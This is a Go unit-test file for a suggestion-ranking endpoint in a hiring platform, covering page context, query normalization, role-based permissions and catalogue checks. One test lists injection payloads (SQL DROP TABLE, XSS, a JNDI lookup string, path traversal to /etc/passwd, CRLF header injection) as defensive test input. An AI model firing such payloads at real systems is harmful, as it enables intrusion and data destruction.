package owliver

import (
	"fmt"
	"reflect"
	"strings"
	"testing"

	"github.com/krow/krow-backend/go-api/internal/definition"
	"github.com/krow/krow-backend/go-api/internal/domain"
)

// These tests need no database and no server: the catalogue is static and the
// ranking is a pure function of (page, query, role). That is the property worth
// protecting — an endpoint the panel calls on every keystroke should be
// testable at the speed of a string comparison.

// intents is the ids Suggest returned, in order.
func intents(got []Suggestion) []string {
	out := make([]string, len(got))
	for i, s := range got {
		out[i] = s.Intent
	}
	return out
}

// ask is Suggest for an admin, the role the Owliver panel is placed for.
func ask(page, query string) []Suggestion {
	return Suggest(page, query, domain.RoleAdmin)
}

/* ── Control Center ─────────────────────────────────────────────────────── */

func TestControlCenterSuggestions(t *testing.T) {
	cases := []struct {
		name  string
		query string
		want  []string
	}{
		{"attention", "attention", []string{"attention-required"}},
		{"pipeline", "pipeline", []string{"pipeline-health"}},
		{"health", "health", []string{"platform-health"}},
		{"recommendation", "what should i do", []string{"recommendations"}},

		// A question about a subject this page does not hold. The Control
		// Center reads the platform, not the training library.
		{"irrelevant", "forklift certification renewal", nil},
		{"empty", "", nil},
	}

	for _, c := range cases {
		t.Run(c.name, func(t *testing.T) {
			got := intents(ask("control-center", c.query))
			if len(c.want) == 0 {
				if len(got) != 0 {
					t.Fatalf("query %q: want no suggestions, got %v", c.query, got)
				}
				return
			}
			if !reflect.DeepEqual(got, c.want) {
				t.Fatalf("query %q: got %v, want %v", c.query, got, c.want)
			}
		})
	}
}

/* ── Positions ──────────────────────────────────────────────────────────── */

func TestPositionsSuggestions(t *testing.T) {
	cases := []struct {
		name  string
		query string
		want  []string
	}{
		// The page's own noun offers the page's readings, in declaration order.
		{"position", "position", []string{"position-drafts", "position-strength", "positions-attention"}},

		// Pipeline on Positions is a question about the ROLES: which one is
		// converting, and where it is stuck. Two answers, not three — the third
		// slot is left empty rather than filled with the page's list of people
		// waiting, which is a different question wearing a nearby word.
		{"pipeline", "pipeline", []string{"position-strength", "pipeline-health"}},

		{"attention", "attention", []string{"positions-attention"}},
		{"risk", "risk", []string{"positions-attention"}},
		{"drafts", "draft", []string{"position-drafts"}},
		{"fill first", "what should i fill first", []string{"hiring-priority"}},

		// Attendance is a workforce reading and belongs to another surface. It
		// must not fall through to this page's default report.
		{"irrelevant", "attendance last week", nil},
		{"empty", "", nil},
	}

	for _, c := range cases {
		t.Run(c.name, func(t *testing.T) {
			got := intents(ask("positions", c.query))
			if len(c.want) == 0 {
				if len(got) != 0 {
					t.Fatalf("query %q: want no suggestions, got %v", c.query, got)
				}
				return
			}
			if !reflect.DeepEqual(got, c.want) {
				t.Fatalf("query %q: got %v, want %v", c.query, got, c.want)
			}
		})
	}
}

/* ── Candidates ─────────────────────────────────────────────────────────── */

// Creating a record is offered on the words people actually type, and the two
// creates are told apart by the words that distinguish them.
//
// This is the half of the feature that was missing entirely: the flow behind
// "create a position" worked, and no chip anywhere offered it. Every phrasing
// below reached the frontend's trigger matcher already — the gap was that the
// panel never suggested any of them.
func TestCreateIntentsAreOffered(t *testing.T) {
	for _, c := range []struct {
		query string
		want  string
	}{
		{"create position", "create-company-position"},
		{"create positions", "create-company-position"},
		{"create a position", "create-company-position"},
		{"create new position", "create-company-position"},
		{"new position", "create-company-position"},
		{"post a job", "create-company-position"},
		{"create a company position", "create-company-position"},

		{"create an employee role", "create-employee-role"},
		{"create employee role", "create-employee-role"},
		{"add an employee role", "create-employee-role"},
		{"new employee role", "create-employee-role"},
		{"create worker role", "create-employee-role"},
	} {
		t.Run(c.query, func(t *testing.T) {
			got := intents(ask("positions", c.query))
			if len(got) == 0 || got[0] != c.want {
				t.Fatalf("query %q: got %v, want %s first", c.query, got, c.want)
			}
		})
	}

	// And the supply-side create is on the page that reads the supply.
	if got := intents(ask("talent-pool", "create an employee role")); len(got) == 0 || got[0] != "create-employee-role" {
		t.Errorf("talent-pool: got %v, want create-employee-role first", got)
	}
}

// A create chip is never proposed to somebody who cannot create.
//
// The gate is the policy table, not a role list repeated here: employee-roles
// and job-postings both grant Create to operators only, so talent is offered
// neither — while still being offered their own readings elsewhere, which
// TestTalentIsStillOfferedTheirOwnReadings holds.
func TestTalentIsNeverOfferedACreate(t *testing.T) {
	for _, page := range []string{"positions", "talent-pool"} {
		for _, query := range []string{
			"create position", "create a position", "new position", "post a job",
			"create an employee role", "add an employee role", "employee role",
		} {
			for _, s := range Suggest(page, query, domain.RoleTalent) {
				if strings.HasPrefix(s.Intent, "create-") {
					t.Errorf("talent was offered %q on %q for %q", s.Intent, page, query)
				}
			}
		}
	}
}

// The create chips arrive without evicting a reading.
//
// Their terms are phrases only for exactly this reason. A bare "position" term
// would score 10 — the same as every reading on the page — and win the tie on
// declaration order, silently pushing `positions-attention` out of the three.
// The reading a person asked for must not be displaced by an offer to create
// something, so this pins the page's own noun to the page's own answers.
func TestCreateIntentsDoNotDisplaceReadings(t *testing.T) {
	for _, query := range []string{"position", "positions", "role", "roles", "draft"} {
		for _, s := range Suggest("positions", query, domain.RoleAdmin) {
			if strings.HasPrefix(s.Intent, "create-") {
				t.Errorf("%q offered %q; a bare page noun must answer with readings",
					query, s.Intent)
			}
		}
	}
}

func TestCandidatesSuggestions(t *testing.T) {
	cases := []struct {
		name  string
		query string
		want  []string
	}{
		{"candidate", "candidate", []string{"candidates-attention", "top-candidates", "interview-ready"}},
		{"score", "score", []string{"top-candidates", "screening-gaps"}},
		{"interview", "interview", []string{"interview-ready"}},
		{"decision", "decision", []string{"candidates-attention", "candidate-risk"}},
		{"pipeline", "pipeline", []string{"pipeline-summary"}},
		{"risk", "risk", []string{"candidate-risk"}},

		{"irrelevant", "payroll export", nil},
		{"empty", "", nil},
	}

	for _, c := range cases {
		t.Run(c.name, func(t *testing.T) {
			got := intents(ask("candidates", c.query))
			if len(c.want) == 0 {
				if len(got) != 0 {
					t.Fatalf("query %q: want no suggestions, got %v", c.query, got)
				}
				return
			}
			if !reflect.DeepEqual(got, c.want) {
				t.Fatalf("query %q: got %v, want %v", c.query, got, c.want)
			}
		})
	}
}

/* ── Page context is the first filter ───────────────────────────────────── */

// One keyword, every page: the answers must differ, and none may name a
// reading belonging to another surface.
func TestSameKeywordDiffersByPage(t *testing.T) {
	const query = "pipeline"

	seen := map[string][]string{}
	for _, page := range Pages() {
		got := intents(ask(page, query))
		if len(got) == 0 {
			continue
		}
		seen[page] = got

		for _, id := range got {
			if !declaredOn(page, id) {
				t.Fatalf("page %q returned %q, which it does not declare", page, id)
			}
		}
	}

	if len(seen) < 2 {
		t.Fatalf("%q matched on %d pages; the comparison needs at least two", query, len(seen))
	}
	if reflect.DeepEqual(seen["positions"], seen["candidates"]) {
		t.Fatalf("positions and candidates both answered %q with %v", query, seen["positions"])
	}
	// The pipeline reading on Candidates is the candidates' own.
	if !reflect.DeepEqual(seen["candidates"], []string{"pipeline-summary"}) {
		t.Fatalf("candidates answered %q with %v", query, seen["candidates"])
	}
}

// An unknown page is not this package's error to raise — the service refuses it
// during parsing. Reached directly it answers empty rather than borrowing
// another page's readings.
func TestUnknownPageIsEmpty(t *testing.T) {
	for _, page := range []string{"", "nowhere", "POSITIONS", "settings"} {
		if got := ask(page, "pipeline"); len(got) != 0 {
			t.Fatalf("page %q: got %v, want none", page, got)
		}
	}
}

func declaredOn(page, id string) bool {
	for _, i := range catalogue[page] {
		if i.ID == id {
			return true
		}
	}
	return false
}

/* ── Query handling ─────────────────────────────────────────────────────── */

func TestQueryNormalization(t *testing.T) {
	want := intents(ask("positions", "pipeline"))
	if len(want) == 0 {
		t.Fatal("the baseline query matched nothing")
	}

	// Every one of these is the same question typed differently: case,
	// surrounding whitespace, punctuation and control characters carry no
	// meaning, so all of them must rank identically.
	for _, query := range []string{
		"  pipeline  ", "PIPELINE", "PiPeLiNe", "\tpipeline\n",
		"pipeline?", "\"pipeline\"", "pipeline!!!", "…pipeline…",
		"(pipeline)", "**pipeline**", "pipeline\x00\x01", "\u200bpipeline",
	} {
		if got := intents(ask("positions", query)); !reflect.DeepEqual(got, want) {
			t.Errorf("query %q: got %v, want %v", query, got, want)
		}
	}
}

// Hostile input is data like any other. There is no query to inject into — the
// normalized text is compared against a fixed table of literals and never
// reaches SQL, a template or a shell — so the property under test is that such
// a query is ranked rather than refused, and that it can only ever produce
// entries this page declares.
func TestHostileInputIsJustText(t *testing.T) {
	for _, query := range []string{
		"pipeline'; DROP TABLE job_postings; --",
		"pipeline\" OR 1=1 --",
		"<script>alert('pipeline')</script>",
		"{{7*7}} pipeline ${jndi:ldap://x/y}",
		"../../etc/passwd pipeline",
		"pipeline%00%0d%0aSet-Cookie:+x=1",
		strings.Repeat("' OR ''='", 40),
	} {
		for _, s := range ask("positions", query) {
			if !declaredOn("positions", s.Intent) {
				t.Errorf("query %q produced %q, which positions does not declare", query, s.Intent)
			}
			if !declaredText("positions", s) {
				t.Errorf("query %q produced unrecognised text %q", query, s.Text)
			}
		}
	}
}

// declaredText reports whether a suggestion's wording came from the catalogue —
// either an intent's own Text, or its subject phrased in a shape it declares.
// Nothing the caller typed may appear in a response.
func declaredText(page string, got Suggestion) bool {
	for _, i := range catalogue[page] {
		if i.ID != got.Intent {
			continue
		}
		if got.Capability == "" {
			return got.Text == i.Text
		}
		for _, s := range shapes {
			if s.id == got.Capability {
				return got.Text == i.shaped(s)
			}
		}
	}
	return false
}

// Fewer than two meaningful characters is not a question yet. Punctuation and
// whitespace are not meaningful.
func TestShortQueriesAreEmpty(t *testing.T) {
	for _, query := range []string{"", " ", "\n\t ", "p", " p ", "?", "!!!", "-", "€", "  ,  "} {
		if got := ask("positions", query); len(got) != 0 {
			t.Errorf("query %q: got %v, want none", query, got)
		}
	}
}

// The panel calls this on every keystroke, so a half-typed word has to match.
func TestPrefixMatchingWhileTyping(t *testing.T) {
	full := intents(ask("positions", "pipeline"))
	for _, query := range []string{"pip", "pipe", "pipel", "pipelin", "pipeline", "pipelines"} {
		got := intents(ask("positions", query))
		if len(got) == 0 {
			t.Fatalf("query %q matched nothing; the panel would blank mid-word", query)
		}
		if query != "pipelines" && !reflect.DeepEqual(got, full) {
			t.Errorf("query %q: got %v, want %v", query, got, full)
		}
	}
}

// A long paste ranks on its opening words rather than being refused.
func TestOverlongQueryIsTruncatedNotRejected(t *testing.T) {
	query := "pipeline " + strings.Repeat("x", 5000)
	got := intents(ask("positions", query))
	if len(got) == 0 {
		t.Fatal("an overlong query was refused instead of truncated")
	}
	if !reflect.DeepEqual(got, intents(ask("positions", "pipeline"))) {
		t.Fatalf("an overlong query ranked differently: %v", got)
	}
}

/* ── Shapes ─────────────────────────────────────────────────────────────── */

// Asking for a section type names it in the answer and phrases the suggestion
// in those terms — the brief's "Show hiring activity as a flow".
func TestShapedSuggestions(t *testing.T) {
	got := ask("positions", "show hiring activity as a flow")
	if len(got) != 1 {
		t.Fatalf("got %d suggestions, want 1: %+v", len(got), got)
	}
	want := Suggestion{
		Text:       "Show hiring activity as a flow",
		Intent:     "hiring-operations",
		Capability: "flow",
	}
	if got[0] != want {
		t.Fatalf("got %+v, want %+v", got[0], want)
	}

	summarized := ask("positions", "summarize hiring activity")
	if len(summarized) != 1 || summarized[0].Capability != "summary" ||
		summarized[0].Text != "Summarize hiring activity" {
		t.Fatalf("got %+v", summarized)
	}
}

// A shape alone is a question about the page. A shape after a subject is a
// question about that subject, and the other readings that merely support the
// shape are padding — which this endpoint does not do.
func TestShapeAloneAnswersThePageButNeverPads(t *testing.T) {
	alone := ask("control-center", "summarize")
	if len(alone) != MaxSuggestions {
		t.Fatalf("a bare shape returned %d suggestions, want %d: %+v",
			len(alone), MaxSuggestions, alone)
	}
	for _, s := range alone {
		if s.Capability != "summary" {
			t.Fatalf("got capability %q, want summary: %+v", s.Capability, s)
		}
	}

	// "attention" names one reading; nothing else may ride along on the shape.
	withSubject := ask("control-center", "summarize what needs attention")
	if len(withSubject) != 1 || withSubject[0].Intent != "attention-required" {
		t.Fatalf("got %+v, want only attention-required", withSubject)
	}
}

// A shape an intent cannot be drawn as leaves its wording alone.
func TestUnsupportedShapeIsNotClaimed(t *testing.T) {
	for _, s := range ask("create-position", "adjust the weights") {
		if s.Capability == "weights" {
			t.Fatalf("offered a weights rendering nothing declares: %+v", s)
		}
	}
}

/* ── Response limits ────────────────────────────────────────────────────── */

func TestNeverMoreThanThreeAndNeverDuplicated(t *testing.T) {
	// A query broad enough to match everything the page has.
	queries := []string{
		"position pipeline attention risk draft hiring activity waiting candidates",
		"candidate score interview decision risk pipeline screening",
		"summarize", "attention risk", "who what how many",
	}

	for _, page := range Pages() {
		for _, query := range queries {
			got := Suggest(page, query, domain.RoleAdmin)
			if len(got) > MaxSuggestions {
				t.Fatalf("page %q query %q: %d suggestions, cap is %d",
					page, query, len(got), MaxSuggestions)
			}

			seenIntent, seenText := map[string]bool{}, map[string]bool{}
			for _, s := range got {
				if s.Text == "" || s.Intent == "" {
					t.Fatalf("page %q query %q: incomplete suggestion %+v", page, query, s)
				}
				if seenIntent[s.Intent] {
					t.Fatalf("page %q query %q: duplicate intent %q", page, query, s.Intent)
				}
				if seenText[strings.ToLower(s.Text)] {
					t.Fatalf("page %q query %q: duplicate text %q", page, query, s.Text)
				}
				seenIntent[s.Intent], seenText[strings.ToLower(s.Text)] = true, true
			}
		}
	}
}

// The same request must answer the same way every time — the panel re-issues it
// on every keystroke, and a list that reshuffles under the cursor is unusable.
func TestSuggestIsDeterministic(t *testing.T) {
	for _, page := range Pages() {
		first := Suggest(page, "attention risk pipeline summary", domain.RoleAdmin)
		for i := 0; i < 20; i++ {
			again := Suggest(page, "attention risk pipeline summary", domain.RoleAdmin)
			if !reflect.DeepEqual(first, again) {
				t.Fatalf("page %q: run %d differed\n first: %+v\n again: %+v",
					page, i, first, again)
			}
		}
	}
}

// Empty, never nil: `{"suggestions": []}` and not `{"suggestions": null}`.
func TestNoMatchIsAnEmptySliceNotNil(t *testing.T) {
	for _, c := range []struct{ page, query string }{
		{"positions", "sourdough"}, {"positions", ""}, {"nowhere", "pipeline"},
	} {
		got := ask(c.page, c.query)
		if got == nil {
			t.Fatalf("page %q query %q: got nil, want an empty slice", c.page, c.query)
		}
		if len(got) != 0 {
			t.Fatalf("page %q query %q: got %v", c.page, c.query, got)
		}
	}
}

/* ── Authorization ──────────────────────────────────────────────────────── */

// Talent may list job applications, but only their own — so a reading across
// the organization's pipeline is not theirs to be offered, even though the
// operation itself is permitted. The same holds for postings, profiles, staff,
// evidence and the audit log.
//
// The exception is stated rather than hidden: `courses` is the one resource in
// the policy table that talent lists unscoped, because the training library is
// shared platform-wide and everybody learns from it. So the two Forge readings
// that ask only what the library holds survive, and every other Forge reading —
// evaluation, workforce usage, gaps, all of which read evidence or profiles —
// does not. If that ever widens, this test says exactly what widened.
func TestTalentIsOfferedOnlyUnscopedReadings(t *testing.T) {
	pages := []string{
		"control-center", "positions", "candidates", "candidates-analysis",
		"analytics", "activity", "talent-pool", "hired-history", "krow-forge",
		"create-position",
	}
	queries := []string{
		"pipeline", "attention", "candidate", "position", "risk", "summarize",
		"hiring", "score", "activity", "who", "how many", "library", "skill",
		"published", "gaps", "evaluation", "weights", "credential",
	}

	allowed := map[string]bool{"krow-forge/forge-library": true, "krow-forge/forge-published": true}

	for _, page := range pages {
		for _, query := range queries {
			for _, s := range Suggest(page, query, domain.RoleTalent) {
				if !allowed[page+"/"+s.Intent] {
					t.Errorf("talent was offered %q on %q for %q", s.Intent, page, query)
				}
			}
		}
	}

	// And the operator's own Forge readings stay the operator's.
	for _, id := range []string{"forge-evaluation", "forge-workforce", "forge-gaps"} {
		for _, s := range Suggest("krow-forge", "evaluation workforce gaps", domain.RoleTalent) {
			if s.Intent == id {
				t.Errorf("talent was offered the operator reading %q", id)
			}
		}
	}
	if len(Suggest("krow-forge", "evaluation workforce gaps", domain.RoleAdmin)) == 0 {
		t.Error("admin was offered none of them either; the query no longer matches")
	}
}

// The filter is not a blanket refusal: what a talent caller may genuinely ask —
// about their own account — is still offered. Otherwise the test above would
// pass with the role check stubbed out to "deny".
func TestTalentIsStillOfferedTheirOwnReadings(t *testing.T) {
	for _, query := range []string{"permission", "password", "my recent activity"} {
		if got := Suggest("profile", query, domain.RoleTalent); len(got) == 0 {
			t.Fatalf("talent was offered nothing on profile for %q", query)
		}
	}
}

// A role the API does not recognise authorizes nothing, matching policy.go.
func TestUnknownRoleIsOfferedNothing(t *testing.T) {
	for _, role := range []domain.Role{"", "root", "superuser", "Admin"} {
		for _, page := range Pages() {
			if got := Suggest(page, "attention pipeline permission", role); len(got) != 0 {
				t.Fatalf("role %q was offered %v on %q", role, intents(got), page)
			}
		}
	}
}

// Every permission decision must come from the policy table, not from a list
// kept here. This asserts the mechanism rather than a particular outcome: an
// intent is offered exactly when policy.go allows every reading it declares.
func TestPermissionsComeFromThePolicyTable(t *testing.T) {
	for _, role := range []domain.Role{domain.RoleAdmin, domain.RoleEmployer, domain.RoleTalent} {
		for page, list := range catalogue {
			for _, intent := range list {
				want := true
				for _, need := range intent.Reads {
					res, ok := domain.ResourceByPath[need.Resource]
					if !ok || !res.Supports(need.Op) || !res.Policy.Allows(need.Op, role) {
						want = false
						break
					}
					if need.OrgWide && res.Policy.ScopeFor(role).Kind != domain.ScopeNone {
						want = false
						break
					}
				}
				if got := intent.permitted(role); got != want {
					t.Errorf("%s/%s for %s: permitted=%v, policy says %v",
						page, intent.ID, role, got, want)
				}
			}
		}
	}
}

/* ── The catalogue itself ───────────────────────────────────────────────── */

func TestCatalogueIsWellFormed(t *testing.T) {
	for page, list := range catalogue {
		if definition.CanonicalPage(page) != page {
			t.Errorf("page key %q is not a canonical surface", page)
		}
		if len(list) == 0 {
			t.Errorf("page %q has no intents; omit the key instead", page)
		}

		ids, texts := map[string]bool{}, map[string]bool{}
		for _, intent := range list {
			where := fmt.Sprintf("%s/%s", page, intent.ID)

			if intent.ID == "" || intent.Text == "" {
				t.Errorf("%s: an intent needs both an id and a text", where)
			}
			if ids[intent.ID] {
				t.Errorf("%s: duplicate intent id on this page", where)
			}
			if texts[strings.ToLower(intent.Text)] {
				t.Errorf("%s: duplicate suggestion text on this page", where)
			}
			ids[intent.ID], texts[strings.ToLower(intent.Text)] = true, true

			if len(intent.Terms) == 0 {
				t.Errorf("%s: no terms, so it can never be suggested", where)
			}
			for _, term := range intent.Terms {
				if term != strings.ToLower(strings.TrimSpace(term)) || term == "" {
					t.Errorf("%s: term %q must be lower case and trimmed", where, term)
				}
				if _, _, meaningful := normalize(term); meaningful < MinQueryChars {
					t.Errorf("%s: term %q is shorter than the shortest query", where, term)
				}
			}

			if len(intent.Shapes) > 0 && intent.Subject == "" {
				t.Errorf("%s: declares shapes but no subject to phrase them with", where)
			}
			for _, id := range intent.Shapes {
				if id == "summary" {
					t.Errorf("%s: `summary` applies to every subject and is never declared", where)
				}
				if !knownShape(id) {
					t.Errorf("%s: shape %q is not in the Owliver vocabulary", where, id)
				}
			}

			for _, need := range intent.Reads {
				res, ok := domain.ResourceByPath[need.Resource]
				if !ok {
					t.Errorf("%s: reads %q, which is not a resource", where, need.Resource)
					continue
				}
				if !res.Supports(need.Op) {
					t.Errorf("%s: reads %q with an operation it does not serve", where, need.Resource)
				}
				// An intent nobody can be offered is dead weight, and usually a
				// typo in the resource path rather than a deliberate lockout.
				if !res.Policy.Allows(need.Op, domain.RoleAdmin) {
					t.Errorf("%s: reads %q, which not even admin may list", where, need.Resource)
				}
			}
		}
	}
}

// Every id in the catalogue must be a capability the frontend actually
// declares, because the id in a response is what the panel dispatches on. The
// list is the union of the manifests in
// src/components/ai-assistant/capabilities/, transcribed alongside the
// catalogue; an id here that is absent there would be a suggestion the panel
// cannot run.
func TestIntentIDsAreFrontendCapabilities(t *testing.T) {
	frontend := map[string]bool{}
	for _, id := range []string{
		// CONTROL_CENTER_CAPABILITIES
		"platform-health", "workforce-summary", "hiring-operations", "pipeline-health",
		"attention-required", "recommendations",
		// POSITIONS_CAPABILITIES
		"position-drafts", "position-strength", "positions-attention", "hiring-priority",
		"candidates-waiting",
		// The two conversational writes. Not manifest ids: no context declares
		// `capabilities`, so every server chip dispatches as its own TEXT and is
		// answered by the skill whose trigger that text matches. They are listed
		// here because this test is the bijection that keeps a suggestion the
		// panel cannot run out of the catalogue, and the coupling that makes
		// these runnable — chip text to skill trigger — is asserted by
		// `npm test` on the frontend side.
		"create-company-position", "create-employee-role",
		// CANDIDATE_LIST_CAPABILITIES
		"candidates-attention", "top-candidates", "interview-ready", "screening-gaps",
		"pipeline-summary", "candidate-risk",
		// ADMIN_CANDIDATE_CAPABILITIES
		"recruitment-insights", "hiring-recommendations",
		// ADMIN_ANALYTICS_CAPABILITIES
		"hiring-trend", "department-performance", "position-conversion",
		// ACTIVITY_CAPABILITIES
		"audit-summary", "user-activity", "unusual-activity", "security-insights",
		// TALENT_POOL_CAPABILITIES
		"talent-priorities", "talent-summary", "talent-verification", "talent-availability",
		// HIRED_HISTORY_CAPABILITIES
		"hiring-outcomes", "hiring-strongest", "hiring-patterns", "hiring-recent",
		// FORGE_CAPABILITIES
		"forge-library", "forge-published", "forge-evaluation", "forge-workforce", "forge-gaps",
		// CREATE_POSITION_CAPABILITIES
		"vetting-weights", "position-benchmarks", "position-requirements", "position-spec-steps",
		// PROFILE_CAPABILITIES
		"profile-permissions", "profile-identity", "profile-security", "profile-preferences",
		"profile-activity", "profile-actions",
	} {
		frontend[id] = true
	}

	used := map[string]bool{}
	for page, list := range catalogue {
		for _, intent := range list {
			used[intent.ID] = true
			if !frontend[intent.ID] {
				t.Errorf("%s/%s names no frontend capability", page, intent.ID)
			}
		}
	}
	for id := range frontend {
		if !used[id] {
			t.Errorf("capability %q is declared here but suggested on no page", id)
		}
	}
}

func knownShape(id string) bool {
	for _, s := range shapes {
		if s.id == id {
			return true
		}
	}
	return false
}

// The shape vocabulary is closed and mirrors OWLIVER_CAPABILITIES.
func TestShapeVocabularyMatchesTheFrontend(t *testing.T) {
	want := []string{"summary", "flow", "stats", "list", "table", "timeline",
		"progress", "weights", "insight", "card"}

	got := make([]string, len(shapes))
	for i, s := range shapes {
		got[i] = s.id
		if len(s.terms) == 0 {
			t.Errorf("shape %q has no terms", s.id)
		}
		if s.id != "summary" && s.phrase == "" {
			t.Errorf("shape %q has no phrase to read inside a sentence", s.id)
		}
	}
	if !reflect.DeepEqual(got, want) {
		t.Fatalf("shapes are %v, want %v", got, want)
	}
}

// Nothing internal may reach a response: no terms, no resource names, no
// scores. The struct is the whole contract, so this asserts its shape.
func TestSuggestionExposesNothingInternal(t *testing.T) {
	fields := reflect.VisibleFields(reflect.TypeOf(Suggestion{}))
	if len(fields) != 3 {
		t.Fatalf("Suggestion has %d fields; the response contract is text, intent, capability", len(fields))
	}
	want := map[string]string{
		"Text":       `json:"text"`,
		"Intent":     `json:"intent"`,
		"Capability": `json:"capability,omitempty"`,
	}
	for _, f := range fields {
		if string(f.Tag) != want[f.Name] {
			t.Errorf("field %s has tag %q, want %q", f.Name, f.Tag, want[f.Name])
		}
	}
}